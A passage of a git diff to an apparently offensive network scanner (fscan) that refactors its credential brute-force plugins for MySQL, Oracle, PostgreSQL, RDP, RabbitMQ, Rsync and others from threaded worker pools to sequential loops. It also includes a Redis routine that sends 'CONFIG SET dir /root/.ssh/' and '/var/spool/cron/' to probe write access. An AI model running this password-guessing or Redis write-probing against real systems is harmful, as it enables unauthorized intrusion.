retryCount++ { - // 检查是否超时 - if time.Now().Unix()-starttime > int64(Common.Timeout) { - resultChan <- fmt.Errorf("扫描超时") - return - } - - // 执行MySQL连接 - done := make(chan struct { + go func(user, pass string) { + success, err := MysqlConn(info, user, pass) + done <- struct { success bool err error - }) + }{success, err} + }(user, pass) - go func(user, pass string) { - success, err := MysqlConn(info, user, pass) - done <- struct { - success bool - err error - }{success, err} - }(task.user, task.pass) - - // 等待结果或超时 - var err error - select { - case result := <-done: - err = result.err - if result.success && err == nil { - // 连接成功 - select { - case successChan <- struct{}{}: // 标记成功 - successLog := fmt.Sprintf("MySQL %v:%v %v %v", - info.Host, info.Ports, task.user, task.pass) - Common.LogSuccess(successLog) - default: - } - resultChan <- nil - return - } - case <-time.After(time.Duration(Common.Timeout) * time.Second): - err = fmt.Errorf("连接超时") - } - - // 处理错误情况 - if err != nil { - errlog := fmt.Sprintf("MySQL %v:%v %v %v %v", - info.Host, info.Ports, task.user, task.pass, err) - Common.LogError(errlog) - - // 特殊处理认证失败的情况 - if strings.Contains(err.Error(), "Access denied") { - break // 跳出重试循环,继续下一个密码 - } - - // 检查是否需要重试 - if retryErr := Common.CheckErrs(err); retryErr != nil { - if retryCount == maxRetries-1 { - resultChan <- err - return - } - continue // 继续重试 - } - break // 如果不需要重试,跳出重试循环 + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + // 连接成功 + successLog := fmt.Sprintf("MySQL %v:%v %v %v", + info.Host, info.Ports, user, pass) + Common.LogSuccess(successLog) + return nil } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") } - } - resultChan <- nil - }() - } - // 等待所有线程完成 - go func() { - wg.Wait() - close(resultChan) - }() + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("MySQL %v:%v %v %v %v", + info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) - // 检查结果 - for err := range resultChan { - if err != nil { - tmperr = err - if !strings.Contains(err.Error(), "Access denied") { - if retryErr := Common.CheckErrs(err); retryErr != nil { - return err + // 特殊处理认证失败的情况 + if strings.Contains(err.Error(), "Access denied") { + break // 跳出重试循环,继续下一个密码 + } + + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + tmperr = err + if !strings.Contains(err.Error(), "Access denied") { + return err + } + } + continue // 继续重试 + } + break // 如果不需要重试,跳出重试循环 } } } diff --git a/Plugins/Neo4j.go b/Plugins/Neo4j.go index 14ae659..5c26d49 100644 --- a/Plugins/Neo4j.go +++ b/Plugins/Neo4j.go @@ -5,7 +5,6 @@ import ( "github.com/neo4j/neo4j-go-driver/v4/neo4j" "github.com/shadow1ng/fscan/Common" "strings" - "sync" "time" ) @@ -16,7 +15,6 @@ func Neo4jScan(info *Common.HostInfo) (tmperr error) { } maxRetries := Common.MaxRetries - threads := Common.BruteThreads // 首先测试无认证访问和默认凭证 initialChecks := []struct { @@ -34,105 +32,62 @@ func Neo4jScan(info *Common.HostInfo) (tmperr error) { } } - // 创建任务通道 - taskChan := make(chan struct { - user string - pass string - }, len(Common.Userdict["neo4j"])*len(Common.Passwords)) + starttime := time.Now().Unix() - resultChan := make(chan error, threads) - - // 生成所有用户名密码组合任务 + // 遍历所有用户名密码组合 for _, user := range Common.Userdict["neo4j"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - taskChan <- struct { - user string - pass string - }{user, pass} - } - } - close(taskChan) - // 启动工作线程 - var wg sync.WaitGroup - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - starttime := time.Now().Unix() + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + return fmt.Errorf("扫描超时") + } - for task := range taskChan { - // 重试循环 - for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 检查是否超时 - if time.Now().Unix()-starttime > int64(Common.Timeout) { - resultChan <- fmt.Errorf("扫描超时") - return - } + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 执行Neo4j连接 + done := make(chan struct { + success bool + err error + }) - // 执行Neo4j连接 - done := make(chan struct { + go func(user, pass string) { + flag, err := Neo4jConn(info, user, pass) + done <- struct { success bool err error - }) + }{flag, err} + }(user, pass) - go func(user, pass string) { - flag, err := Neo4jConn(info, user, pass) - done <- struct { - success bool - err error - }{flag, err} - }(task.user, task.pass) - - // 等待结果或超时 - var err error - select { - case result := <-done: - err = result.err - if result.success && err == nil { - resultChan <- nil - return - } - case <-time.After(time.Duration(Common.Timeout) * time.Second): - err = fmt.Errorf("连接超时") + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + return nil } - - // 处理错误情况 - if err != nil { - errlog := fmt.Sprintf("Neo4j服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", - info.Host, info.Ports, task.user, task.pass, err) - Common.LogError(errlog) - - // 检查是否需要重试 - if retryErr := Common.CheckErrs(err); retryErr != nil { - if retryCount == maxRetries-1 { - resultChan <- err - return - } - continue // 继续重试 - } - } - - break // 如果不需要重试,跳出重试循环 + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") } - } - resultChan <- nil - }() - } - // 等待所有线程完成 - go func() { - wg.Wait() - close(resultChan) - }() + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("Neo4j服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) - // 检查结果 - for err := range resultChan { - if err != nil { - tmperr = err - if retryErr := Common.CheckErrs(err); retryErr != nil { - return err + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + return err + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 } } } diff --git a/Plugins/NetBIOS.go b/Plugins/NetBIOS.go index 71a4aba..49d009b 100644 --- a/Plugins/NetBIOS.go +++ b/Plugins/NetBIOS.go @@ -229,7 +229,7 @@ func (info *NetBiosInfo) String() (output string) { } if text == "" { } else if info.DomainControllers != "" { - output = fmt.Sprintf("[+] DC:%-24s", text) + output = fmt.Sprintf("DC:%-24s", text) } else { output = fmt.Sprintf("%-30s", text) } diff --git a/Plugins/Oracle.go b/Plugins/Oracle.go index f5c4a5e..e107fe4 100644 --- a/Plugins/Oracle.go +++ b/Plugins/Oracle.go @@ -6,7 +6,6 @@ import ( "github.com/shadow1ng/fscan/Common" _ "github.com/sijms/go-ora/v2" "strings" - "sync" "time" ) @@ -17,107 +16,62 @@ func OracleScan(info *Common.HostInfo) (tmperr error) { } maxRetries := Common.MaxRetries - threads := Common.BruteThreads + starttime := time.Now().Unix() - // 创建任务通道 - taskChan := make(chan struct { - user string - pass string - }, len(Common.Userdict["oracle"])*len(Common.Passwords)) - - resultChan := make(chan error, threads) - - // 生成所有用户名密码组合任务 + // 遍历所有用户名密码组合 for _, user := range Common.Userdict["oracle"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - taskChan <- struct { - user string - pass string - }{user, pass} - } - } - close(taskChan) - // 启动工作线程 - var wg sync.WaitGroup - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - starttime := time.Now().Unix() + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + return fmt.Errorf("扫描超时") + } - for task := range taskChan { - // 重试循环 - for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 检查是否超时 - if time.Now().Unix()-starttime > int64(Common.Timeout) { - resultChan <- fmt.Errorf("扫描超时") - return - } + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 执行Oracle连接 + done := make(chan struct { + success bool + err error + }) - // 执行Oracle连接 - done := make(chan struct { + go func(user, pass string) { + success, err := OracleConn(info, user, pass) + done <- struct { success bool err error - }) + }{success, err} + }(user, pass) - go func(user, pass string) { - success, err := OracleConn(info, user, pass) - done <- struct { - success bool - err error - }{success, err} - }(task.user, task.pass) - - // 等待结果或超时 - var err error - select { - case result := <-done: - err = result.err - if result.success && err == nil { - resultChan <- nil - return - } - case <-time.After(time.Duration(Common.Timeout) * time.Second): - err = fmt.Errorf("连接超时") + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + return nil } - - // 处理错误情况 - if err != nil { - errlog := fmt.Sprintf("Oracle %v:%v %v %v %v", - info.Host, info.Ports, task.user, task.pass, err) - Common.LogError(errlog) - - // 检查是否需要重试 - if retryErr := Common.CheckErrs(err); retryErr != nil { - if retryCount == maxRetries-1 { - resultChan <- err - return - } - continue // 继续重试 - } - } - - break // 如果不需要重试,跳出重试循环 + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") } - } - resultChan <- nil - }() - } - // 等待所有线程完成 - go func() { - wg.Wait() - close(resultChan) - }() + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("Oracle %v:%v %v %v %v", + info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) - // 检查结果 - for err := range resultChan { - if err != nil { - tmperr = err - if retryErr := Common.CheckErrs(err); retryErr != nil { - return err + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + return err + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 } } } diff --git a/Plugins/POP3.go b/Plugins/POP3.go index bcf6624..c4e4d71 100644 --- a/Plugins/POP3.go +++ b/Plugins/POP3.go @@ -7,7 +7,6 @@ import ( "github.com/shadow1ng/fscan/Common" "net" "strings" - "sync" "time" ) @@ -17,111 +16,66 @@ func POP3Scan(info *Common.HostInfo) (tmperr error) { } maxRetries := Common.MaxRetries - threads := Common.BruteThreads + starttime := time.Now().Unix() - // 创建任务通道 - taskChan := make(chan struct { - user string - pass string - }, len(Common.Userdict["pop3"])*len(Common.Passwords)) - - resultChan := make(chan error, threads) - - // 生成所有用户名密码组合任务 + // 遍历所有用户名密码组合 for _, user := range Common.Userdict["pop3"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - taskChan <- struct { - user string - pass string - }{user, pass} - } - } - close(taskChan) - // 启动工作线程 - var wg sync.WaitGroup - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - starttime := time.Now().Unix() + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + return fmt.Errorf("扫描超时") + } - for task := range taskChan { - // 重试循环 - for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 检查是否超时 - if time.Now().Unix()-starttime > int64(Common.Timeout) { - resultChan <- fmt.Errorf("扫描超时") - return - } + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 执行POP3连接 + done := make(chan struct { + success bool + err error + }) - // 执行POP3连接 - done := make(chan struct { + go func(user, pass string) { + success, err := POP3Conn(info, user, pass) + done <- struct { success bool err error - }) + }{success, err} + }(user, pass) - go func(user, pass string) { - success, err := POP3Conn(info, user, pass) - done <- struct { - success bool - err error - }{success, err} - }(task.user, task.pass) - - // 等待结果或超时 - var err error - select { - case result := <-done: - err = result.err - if result.success && err == nil { - // 连接成功 - successLog := fmt.Sprintf("POP3服务 %v:%v 用户名: %v 密码: %v", - info.Host, info.Ports, task.user, task.pass) - Common.LogSuccess(successLog) - resultChan <- nil - return - } - case <-time.After(time.Duration(Common.Timeout) * time.Second): - err = fmt.Errorf("连接超时") + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + // 连接成功 + successLog := fmt.Sprintf("POP3服务 %v:%v 用户名: %v 密码: %v", + info.Host, info.Ports, user, pass) + Common.LogSuccess(successLog) + return nil } - - // 处理错误情况 - if err != nil { - errlog := fmt.Sprintf("POP3服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", - info.Host, info.Ports, task.user, task.pass, err) - Common.LogError(errlog) - - // 检查是否需要重试 - if retryErr := Common.CheckErrs(err); retryErr != nil { - if retryCount == maxRetries-1 { - resultChan <- err - return - } - continue // 继续重试 - } - } - - break // 如果不需要重试,跳出重试循环 + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") } - } - resultChan <- nil - }() - } - // 等待所有线程完成 - go func() { - wg.Wait() - close(resultChan) - }() + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("POP3服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) - // 检查结果 - for err := range resultChan { - if err != nil { - tmperr = err - if retryErr := Common.CheckErrs(err); retryErr != nil { - return err + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + return err + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 } } } diff --git a/Plugins/Postgres.go b/Plugins/Postgres.go index ffa72c5..7c35e02 100644 --- a/Plugins/Postgres.go +++ b/Plugins/Postgres.go @@ -6,7 +6,6 @@ import ( _ "github.com/lib/pq" "github.com/shadow1ng/fscan/Common" "strings" - "sync" "time" ) @@ -17,107 +16,62 @@ func PostgresScan(info *Common.HostInfo) (tmperr error) { } maxRetries := Common.MaxRetries - threads := Common.BruteThreads + starttime := time.Now().Unix() - // 创建任务通道 - taskChan := make(chan struct { - user string - pass string - }, len(Common.Userdict["postgresql"])*len(Common.Passwords)) - - resultChan := make(chan error, threads) - - // 生成所有用户名密码组合任务 + // 遍历所有用户名密码组合 for _, user := range Common.Userdict["postgresql"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - taskChan <- struct { - user string - pass string - }{user, pass} - } - } - close(taskChan) - // 启动工作线程 - var wg sync.WaitGroup - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - starttime := time.Now().Unix() + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + return fmt.Errorf("扫描超时") + } - for task := range taskChan { - // 重试循环 - for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 检查是否超时 - if time.Now().Unix()-starttime > int64(Common.Timeout) { - resultChan <- fmt.Errorf("扫描超时") - return - } + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 执行PostgreSQL连接 + done := make(chan struct { + success bool + err error + }) - // 执行PostgreSQL连接 - done := make(chan struct { + go func(user, pass string) { + success, err := PostgresConn(info, user, pass) + done <- struct { success bool err error - }) + }{success, err} + }(user, pass) - go func(user, pass string) { - success, err := PostgresConn(info, user, pass) - done <- struct { - success bool - err error - }{success, err} - }(task.user, task.pass) - - // 等待结果或超时 - var err error - select { - case result := <-done: - err = result.err - if result.success && err == nil { - resultChan <- nil - return - } - case <-time.After(time.Duration(Common.Timeout) * time.Second): - err = fmt.Errorf("连接超时") + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + return nil } - - // 处理错误情况 - if err != nil { - errlog := fmt.Sprintf("PostgreSQL %v:%v %v %v %v", - info.Host, info.Ports, task.user, task.pass, err) - Common.LogError(errlog) - - // 检查是否需要重试 - if retryErr := Common.CheckErrs(err); retryErr != nil { - if retryCount == maxRetries-1 { - resultChan <- err - return - } - continue // 继续重试 - } - } - - break // 如果不需要重试,跳出重试循环 + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") } - } - resultChan <- nil - }() - } - // 等待所有线程完成 - go func() { - wg.Wait() - close(resultChan) - }() + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("PostgreSQL %v:%v %v %v %v", + info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) - // 检查结果 - for err := range resultChan { - if err != nil { - tmperr = err - if retryErr := Common.CheckErrs(err); retryErr != nil { - return err + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + return err + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 } } } diff --git a/Plugins/RDP.go b/Plugins/RDP.go index 96ce637..acb772f 100644 --- a/Plugins/RDP.go +++ b/Plugins/RDP.go @@ -37,130 +37,40 @@ func RdpScan(info *Common.HostInfo) (tmperr error) { return } - var ( - wg sync.WaitGroup - num = 0 - all = len(Common.Userdict["rdp"]) * len(Common.Passwords) - mutex sync.Mutex - ) - - // 创建任务通道和结果通道 - brlist := make(chan Brutelist) - resultChan := make(chan bool) - port, _ := strconv.Atoi(info.Ports) + total := len(Common.Userdict["rdp"]) * len(Common.Passwords) + num := 0 - // 启动工作协程 - for i := 0; i < Common.BruteThreads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - for one := range brlist { - select { - case <-resultChan: // 检查是否已经找到有效凭据 - return - default: + // 遍历用户名密码组合 + for _, user := range Common.Userdict["rdp"] { + for _, pass := range Common.Passwords { + num++ + pass = strings.Replace(pass, "{user}", user, -1) + + // 尝试连接 + flag, err := RdpConn(info.Host, Common.Domain, user, pass, port, Common.Timeout) + + if flag && err == nil { + // 连接成功 + var result string + if Common.Domain != "" { + result = fmt.Sprintf("RDP %v:%v:%v\\%v %v", info.Host, port, Common.Domain, user, pass) + } else { + result = fmt.Sprintf("RDP %v:%v:%v %v", info.Host, port, user, pass) } - - mutex.Lock() - num++ - mutex.Unlock() - - user, pass := one.user, one.pass - flag, err := RdpConn(info.Host, Common.Domain, user, pass, port, Common.Timeout) - - if flag && err == nil { - // 连接成功 - var result string - if Common.Domain != "" { - result = fmt.Sprintf("RDP %v:%v:%v\\%v %v", info.Host, port, Common.Domain, user, pass) - } else { - result = fmt.Sprintf("RDP %v:%v:%v %v", info.Host, port, user, pass) - } - Common.LogSuccess(result) - select { - case resultChan <- true: // 通知其他goroutine找到了有效凭据 - default: - } - return - } - - // 连接失败 - errlog := fmt.Sprintf("(%v/%v) RDP %v:%v %v %v %v", num, all, info.Host, port, user, pass, err) - Common.LogError(errlog) + Common.LogSuccess(result) + return nil } - }() - } - // 分发扫描任务 - go func() { - for _, user := range Common.Userdict["rdp"] { - for _, pass := range Common.Passwords { - pass = strings.Replace(pass, "{user}", user, -1) - select { - case <-resultChan: // 如果已经找到有效凭据,停止分发任务 - return - case brlist <- Brutelist{user, pass}: - } - } + // 连接失败 + errlog := fmt.Sprintf("(%v/%v) RDP %v:%v %v %v %v", num, total, info.Host, port, user, pass, err) + Common.LogError(errlog) } - close(brlist) - }() - - // 等待任务完成或找到有效凭据 - go func() { - wg.Wait() - close(resultChan) - }() - - // 等待结果 - if <-resultChan { - return nil } return tmperr } -// worker RDP扫描工作协程 -func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brutelist, - signal *bool, num *int, all int, mutex *sync.Mutex, timeout int64) { - defer wg.Done() - - for one := range brlist { - if *signal { - return - } - go incrNum(num, mutex) - - user, pass := one.user, one.pass - flag, err := RdpConn(host, domain, user, pass, port, timeout) - - if flag && err == nil { - // 连接成功 - var result string - if domain != "" { - result = fmt.Sprintf("RDP %v:%v:%v\\%v %v", host, port, domain, user, pass) - } else { - result = fmt.Sprintf("RDP %v:%v:%v %v", host, port, user, pass) - } - Common.LogSuccess(result) - *signal = true - return - } - - // 连接失败 - errlog := fmt.Sprintf("(%v/%v) RDP %v:%v %v %v %v", *num, all, host, port, user, pass, err) - Common.LogError(errlog) - } -} - -// incrNum 线程安全地增加计数器 -func incrNum(num *int, mutex *sync.Mutex) { - mutex.Lock() - *num++ - mutex.Unlock() -} - // RdpConn 尝试RDP连接 func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) { defer func() { diff --git a/Plugins/RabbitMQ.go b/Plugins/RabbitMQ.go index 4595c11..d4ce1d5 100644 --- a/Plugins/RabbitMQ.go +++ b/Plugins/RabbitMQ.go @@ -6,7 +6,6 @@ import ( "github.com/shadow1ng/fscan/Common" "net" "strings" - "sync" "time" ) @@ -17,116 +16,114 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) { } maxRetries := Common.MaxRetries - threads := Common.BruteThreads + starttime := time.Now().Unix() - // 创建任务通道 - taskChan := make(chan struct { - user string - pass string - }, len(Common.Userdict["rabbitmq"])*len(Common.Passwords)+1) // +1 是为了加入guest账号 + // 先测试默认账号 guest/guest + user, pass := "guest", "guest" + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + return fmt.Errorf("扫描超时") + } - resultChan := make(chan error, threads) + // 执行RabbitMQ连接 + done := make(chan struct { + success bool + err error + }) - // 先加入默认账号guest/guest - taskChan <- struct { - user string - pass string - }{"guest", "guest"} + go func() { + success, err := RabbitMQConn(info, user, pass) + done <- struct { + success bool + err error + }{success, err} + }() - // 生成其他用户名密码组合任务 + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + result := fmt.Sprintf("RabbitMQ服务 %v:%v 连接成功 用户名: %v 密码: %v", + info.Host, info.Ports, user, pass) + Common.LogSuccess(result) + return nil + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") + } + + if err != nil { + errlog := fmt.Sprintf("RabbitMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + return err + } + continue + } + } + break + } + + // 遍历其他用户名密码组合 for _, user := range Common.Userdict["rabbitmq"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - taskChan <- struct { - user string - pass string - }{user, pass} - } - } - close(taskChan) - // 启动工作线程 - var wg sync.WaitGroup - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - starttime := time.Now().Unix() + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + return fmt.Errorf("扫描超时") + } - for task := range taskChan { - // 重试循环 - for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 检查是否超时 - if time.Now().Unix()-starttime > int64(Common.Timeout) { - resultChan <- fmt.Errorf("扫描超时") - return - } + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 执行RabbitMQ连接 + done := make(chan struct { + success bool + err error + }) - // 执行RabbitMQ连接 - done := make(chan struct { + go func(user, pass string) { + success, err := RabbitMQConn(info, user, pass) + done <- struct { success bool err error - }) + }{success, err} + }(user, pass) - go func(user, pass string) { - success, err := RabbitMQConn(info, user, pass) - done <- struct { - success bool - err error - }{success, err} - }(task.user, task.pass) - - // 等待结果或超时 - var err error - select { - case result := <-done: - err = result.err - if result.success && err == nil { - result := fmt.Sprintf("RabbitMQ服务 %v:%v 连接成功 用户名: %v 密码: %v", - info.Host, info.Ports, task.user, task.pass) - Common.LogSuccess(result) - resultChan <- nil - return - } - case <-time.After(time.Duration(Common.Timeout) * time.Second): - err = fmt.Errorf("连接超时") + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + result := fmt.Sprintf("RabbitMQ服务 %v:%v 连接成功 用户名: %v 密码: %v", + info.Host, info.Ports, user, pass) + Common.LogSuccess(result) + return nil } - - // 处理错误情况 - if err != nil { - errlog := fmt.Sprintf("RabbitMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", - info.Host, info.Ports, task.user, task.pass, err) - Common.LogError(errlog) - - // 检查是否需要重试 - if retryErr := Common.CheckErrs(err); retryErr != nil { - if retryCount == maxRetries-1 { - resultChan <- err - return - } - continue // 继续重试 - } - } - - break // 如果不需要重试,跳出重试循环 + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") } - } - resultChan <- nil - }() - } - // 等待所有线程完成 - go func() { - wg.Wait() - close(resultChan) - }() + if err != nil { + errlog := fmt.Sprintf("RabbitMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) - // 检查结果 - for err := range resultChan { - if err != nil { - tmperr = err - if retryErr := Common.CheckErrs(err); retryErr != nil { - return err + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + return err + } + continue + } + } + break } } } diff --git a/Plugins/Redis.go b/Plugins/Redis.go index 6f96ab5..ce62495 100644 --- a/Plugins/Redis.go +++ b/Plugins/Redis.go @@ -489,10 +489,10 @@ func readreply(conn net.Conn) (string, error) { // testwrite 测试Redis写入权限 func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) { - fmt.Println("[*] 开始测试Redis写入权限...") + fmt.Println("开始测试Redis写入权限...") // 测试SSH目录写入权限 - fmt.Println("[*] 正在测试 /root/.ssh/ 目录写入权限...") + fmt.Println("正在测试 /root/.ssh/ 目录写入权限...") _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")) if err != nil { fmt.Printf("发送SSH目录测试命令失败: %v\n", err) @@ -503,7 +503,7 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) { fmt.Printf("读取SSH目录测试响应失败: %v\n", err) return flag, flagCron, err } - fmt.Printf("[*] SSH目录测试响应: %s\n", text) + fmt.Printf("SSH目录测试响应: %s\n", text) if strings.Contains(text, "OK") { flag = true fmt.Println("SSH目录写入权限测试成功") @@ -512,7 +512,7 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) { } // 测试定时任务目录写入权限 - fmt.Println("[*] 正在测试 /var/spool/cron/ 目录写入权限...") + fmt.Println("正在测试 /var/spool/cron/ 目录写入权限...") _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")) if err != nil { fmt.Printf("发送定时任务目录测试命令失败: %v\n", err) @@ -523,7 +523,7 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) { fmt.Printf("读取定时任务目录测试响应失败: %v\n", err) return flag, flagCron, err } - fmt.Printf("[*] 定时任务目录测试响应: %s\n", text) + fmt.Printf("定时任务目录测试响应: %s\n", text) if strings.Contains(text, "OK") { flagCron = true fmt.Println("定时任务目录写入权限测试成功") @@ -531,7 +531,7 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) { fmt.Println("定时任务目录写入权限测试失败") } - fmt.Printf("[*] 写入权限测试完成 - SSH权限: %v, Cron权限: %v\n", flag, flagCron) + fmt.Printf("写入权限测试完成 - SSH权限: %v, Cron权限: %v\n", flag, flagCron) return flag, flagCron, err } diff --git a/Plugins/Rsync.go b/Plugins/Rsync.go index 1de3010..e389118 100644 --- a/Plugins/Rsync.go +++ b/Plugins/Rsync.go @@ -5,7 +5,6 @@ import ( "github.com/shadow1ng/fscan/Common" "net" "strings" - "sync" "time" ) @@ -16,7 +15,6 @@ func RsyncScan(info *Common.HostInfo) (tmperr error) { } maxRetries := Common.MaxRetries - threads := Common.BruteThreads // 首先测试匿名访问 for retryCount := 0; retryCount < maxRetries; retryCount++ { @@ -36,105 +34,62 @@ func RsyncScan(info *Common.HostInfo) (tmperr error) { break } - // 创建任务通道 - taskChan := make(chan struct { - user string - pass string - }, len(Common.Userdict["rsync"])*len(Common.Passwords)) + starttime := time.Now().Unix() - resultChan := make(chan error, threads) - - // 生成所有用户名密码组合任务 + // 遍历所有用户名密码组合 for _, user := range Common.Userdict["rsync"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - taskChan <- struct { - user string - pass string - }{user, pass} - } - } - close(taskChan) - // 启动工作线程 - var wg sync.WaitGroup - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - starttime := time.Now().Unix() + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + return fmt.Errorf("扫描超时") + } - for task := range taskChan { - // 重试循环 - for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 检查是否超时 - if time.Now().Unix()-starttime > int64(Common.Timeout) { - resultChan <- fmt.Errorf("扫描超时") - return - } + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 执行Rsync连接 + done := make(chan struct { + success bool + err error + }) - // 执行Rsync连接 - done := make(chan struct { + go func(user, pass string) { + flag, err := RsyncConn(info, user, pass) + done <- struct { success bool err error - }) + }{flag && err == nil, err} + }(user, pass) - go func(user, pass string) { - flag, err := RsyncConn(info, user, pass) - done <- struct { - success bool - err error - }{flag && err == nil, err} - }(task.user, task.pass) - - // 等待结果或超时 - var err error - select { - case result := <-done: - err = result.err - if result.success { - resultChan <- nil - return - } - case <-time.After(time.Duration(Common.Timeout) * time.Second): - err = fmt.Errorf("连接超时") + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success { + return nil } - - // 处理错误情况 - if err != nil { - errlog := fmt.Sprintf("Rsync服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", - info.Host, info.Ports, task.user, task.pass, err) - Common.LogError(errlog) - - // 检查是否需要重试 - if retryErr := Common.CheckErrs(err); retryErr != nil { - if retryCount == maxRetries-1 { - resultChan <- err - return - } - continue // 继续重试 - } - } - - break // 如果不需要重试,跳出重试循环 + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") } - } - resultChan <- nil - }() - } - // 等待所有线程完成 - go func() { - wg.Wait() - close(resultChan) - }() + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("Rsync服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) - // 检查结果 - for err := range resultChan { - if err != nil { - tmperr = err - if retryErr := Common.CheckErrs(err); retryErr != nil { - return err + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + return err + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 } } } diff --git 